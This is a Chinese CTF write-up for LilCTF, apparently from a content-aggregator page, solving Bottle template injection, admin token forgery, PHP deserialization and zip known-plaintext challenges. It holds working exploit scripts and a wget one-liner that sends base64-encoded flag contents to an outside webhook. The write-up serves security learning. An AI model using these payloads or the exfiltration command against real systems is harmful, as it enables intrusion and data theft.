当前位置: 首页 > news >正文

lilctf 部分wp - Elma

WEB

ez_bottle

题目给了源码

看到明显的黑名单,猜测可能存在模板注入,结合题目名称和整体也可以大概猜到

后端用bottle框架,大概逻辑是upload上传zip文件,如果没被过滤可以通过访问/view/路由来渲染读取

所以逻辑就是把payload写入文件,压成zip上传,然后访问来造成模板注入

问题是如何绕过

黑名单如下

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals","get", "open"]

把大括号禁用了,传统模板注入不大行,所以考虑使用Bottle SimpleTemplate模板的内容

https://www.osgeo.cn/bottle/stpl.html

可以看到,使用%开头的Bottle SimpleTemplate模板内容不需要出现大括号一类的字符,所以我们可以自由import一些python的自带库

仅仅读取文件的话可以使用python的fileinput库

然后使用assert直接抛出打印即可

我的代码如下

import requests
import zipfile
import io
import re
import sys

BASE = "http://challenge.xinshi.fun:35054"

tpl = (
"% import fileinput\n"
"% m = ''.join(fileinput.input('/flag'))\n"
"% assert 0, m\n"
)

def make_zip_bytes(name, content):
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_DEFLATED) as zf:
zf.writestr(name, content.encode('utf-8'))
buf.seek(0)
return buf

def upload_zip(zipbuf):
files = {"file": ("fuck.zip", zipbuf, "application/zip")}
r = requests.post(f"{BASE}/upload", files=files, timeout=20)
return r

def parse_view_link(text):
m = re.search(r"/view/([0-9a-f]{32})/(\S+)", text)
if not m:
return None, None
return m.group(1), m.group(2)

def fetch_view(md5, fname):
r = requests.get(f"{BASE}/view/{md5}/{fname}", timeout=20)
return r

def extract_flag(text):
# 尝试抽取常见 flag 形式 flag{...}
m = re.search(r"(LILCTF\{.*?\}|FLAG\{.*?\})", text, re.IGNORECASE | re.DOTALL)
return m.group(0) if m else None

def main():
print("[*] 构造 ZIP ...")
zb = make_zip_bytes("read.tpl", tpl)

print("[*] 上传到 /upload ...")
try:
resp = upload_zip(zb)
except Exception as e:
print("[!] 上传请求失败:", e)
sys.exit(1)

print("[*] 上传返回(可能含 view 链接):\n")
print(resp.text)

md5, fname = parse_view_link(resp.text)
if not md5:
print("[!] 无法解析 /view 链接")
sys.exit(1)

print(f"[*] 解析到 view: /view/{md5}/{fname}\n[*] 请求该页面 ...")
try:
v = fetch_view(md5, fname)
except Exception as e:
print("[!] 请求 /view 时出错:", e)
if hasattr(e, 'response') and e.response is not None:
print(e.response.text)
sys.exit(1)

print("\n[*] /view 页面内容(原文):\n")
print(v.text)

flag = extract_flag(v.text or "")
if flag:
print("\n[+] 找到 flag:", flag)
else:
print("\n[-] 未直接找到 flag{...} 格式。")
print("\n[DEBUG] raw bytes repr (前 2000 字节):")
print(repr(v.content[:2000]))

if __name__ == "__main__":
main()

Ekko_note

题目给出源码,大概看了一下是flask框架,功能是注册登录,api获取时间和执行命令,有两个要解决的点

一个是要进入api和命令执行,要获取admin权限

一个是要命令执行,必须让时间调整到2066年

我们一个一个解决

可以看到网页制作了完整的修改密码界面,并且token的验证采用uuid8,我们已知username=admin,padding函数也不用自己写,所以可以尝试修改admin的密码

Uuid8只在python3.14新添加,所以需要使用python3.14进行伪造

Admin的邮箱是admin@example.com

知道了这些还不够,注意到

本地测试过random的种子能够影响uuid8的生成,所以我们需要获取SERVER_START_TIME

在server_info路由可以获取信息

所以现在利用链子就很明显了

首先需要注册一个账号访问server_info路由获取时间戳

用一下代码伪造token

#!/usr/bin/env python3.14
import uuid

import random

SERVER_START_TIME = 1755410207.965607
random.seed(SERVER_START_TIME)
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

if __name__ == "__main__":
token = uuid.uuid8(a = padding("admin"))
print("admin token =", token)

然后尝试修改管理员密码

成功伪造登录

根据源码,我们必须通过设置api来调整时间,也就是必须让api返回一个date数据,满足格式即可

可以用这个api:https://httpbin.org/response-headers?date=2066-01-01T00:00:00

可以自定义参数和返回数据

直接填入即可

接下来是执行命令,考虑到api那边可以出网,所以首先想到curl外带,但是试了一下没成功

后边使用的是wget成功读取

使用命令

wget https://webhook.site/4637e08b-8528-4bb8-954d-d95d7f6835c3/`cat /f* | base64`

Your Uns3r

Kengwang师傅的反序列化耶

当初就是看kengwang师傅入的web了,反序列化那篇文章反复拜读!

OK,看这题只有两个类,代码量不大,利用点是User类exec方法的include函数,exec方法被__destruct方法调用,所以我们首先要触发__destruct方法,注意到底下的throw异常抛出,所以首先用数组设为0的方式来绕过GC

admin的匹配可以用十六进制进行绕过,Access类主要用在include函数的参数函数那边,要让Access类的getToken方法返回我们想要读取的文件,中间被加上了lilctf,所以可以构造prefix=/etc/,suffix=/../../flag

这样返回值就能正常读取

由于php对类名的大小写不敏感,所以把Access改小写就能绕过

把Access类的内容赋值给User的value,username设置为/61dmin,ser参数由于经过了再次反序列化,所以类名和我们构造的value值肯定不一样,所以不用管

最终生成脚本如下

<?php

class User

{

public $username;

public $value;

public function exec()

{

echo "2222\n\n";

$ser = unserialize(serialize(unserialize($this->value)));

if ($ser != $this->value && $ser instanceof Access) {

include($ser->getToken());

}

}

public function __destruct()

{

echo "1111\n\n";

if ($this->username == "admin") {

$this->exec();

}

}

}

class Access

{

protected $prefix='/etc/';

protected $suffix="/../../flag";

public function getToken()

{

echo "3333\n\n";

if (!is_string($this->prefix) || !is_string($this->suffix)) {

throw new Exception("Go to HELL!");

}

$result = $this->prefix . 'lilctf' . $this->suffix;

if (strpos($result, 'pearcmd') !== false) {

throw new Exception("Can I have peachcmd?");

}

echo "4444\n\n";

return $result;

}

}

$us=new User();

$us->username="admin";

$Ac=new Access();

$sd=serialize($Ac);

$rd=str_replace("Access","access",$sd);

$us->value=$rd;

$fk=array($us,0);

$c1=str_replace("i:1;i:0;}","i:0;i:0;}",serialize($fk));

$c2=str_replace('s:5:"admin"','S:5:"\61dmin"',$c1);

echo urlencode($c2);

v我50(R)MB

访问前端源码注意到url

直接访问下载不全,抓包试试看

Burp可以正常返回,提取16进制查看即可

提前放出附件

只给了一个zip文件什么都没有给,内部是一个tar文件

我们首先需要了解tar文件的格式

所以可以了解到,tar文件的每一块都是严格的512字节,并且末尾有大量的00

所以考虑明文攻击

先用dd生成1024位的00

dd if=/dev/zero of=plain1024.bin bs=1 count=1024

然后用bkcrack进行明文攻击

但是我们需要知道flag.tar中的00结尾块的开始偏移量

所以我们要知道flag.tar的大小

大小正正好好的2kb,那我们直接设置偏移量为1024即可

然后直接导出文件即可

解压拿到flag

http://www.wxhsa.cn/company.asp?id=2899

相关文章:

  • 用 Python 和 Tesseract 实现验证码识别
  • Java 和 Tesseract 实现验证码识别
  • 基于 Weiler–Atherton 算法的 IoU 求解
  • Selenium应用中的核心JavaScript操作技巧
  • 25.9.13 字符编码标准
  • 哭了,散了,明白了
  • 用 Java 和 Tesseract 实现验证码识别
  • Microsoft-Activation-Scripts,好用,记录一下。
  • 双重map 的赋值初始化
  • 0voice-1.4.1
  • 9.13 模拟赛 T3
  • Docker应用 - FileBrowser
  • AI踩坑之Nlog使用
  • 论文解读-《OpenGSL A Comprehensive Benchmark for Graph Structure Learning》 - zhang
  • Cmake介绍
  • Git 生成 ssh key
  • 基础篇:消息队列理论部分,另一种环境搭建Docker运行RabbitMQ
  • 项目案例作业1:学生信息管理系统(面向对象初步接触)
  • P1097 合唱队形
  • 一生一芯学习:pa2.1 RTFM
  • Linux网络:初识网络 - 详解
  • 20250909比赛总结
  • 又寸入生白勺司烤
  • Ubuntu 安装 GIPM
  • 手动下载vscode扩展的方法
  • GAS_Aura-Aura Projectile
  • CF1583F Defender of Childhood Dreams
  • scrollArea无法滚动
  • 时间序列分析(1)
  • 一行代码没写,做了一个小程序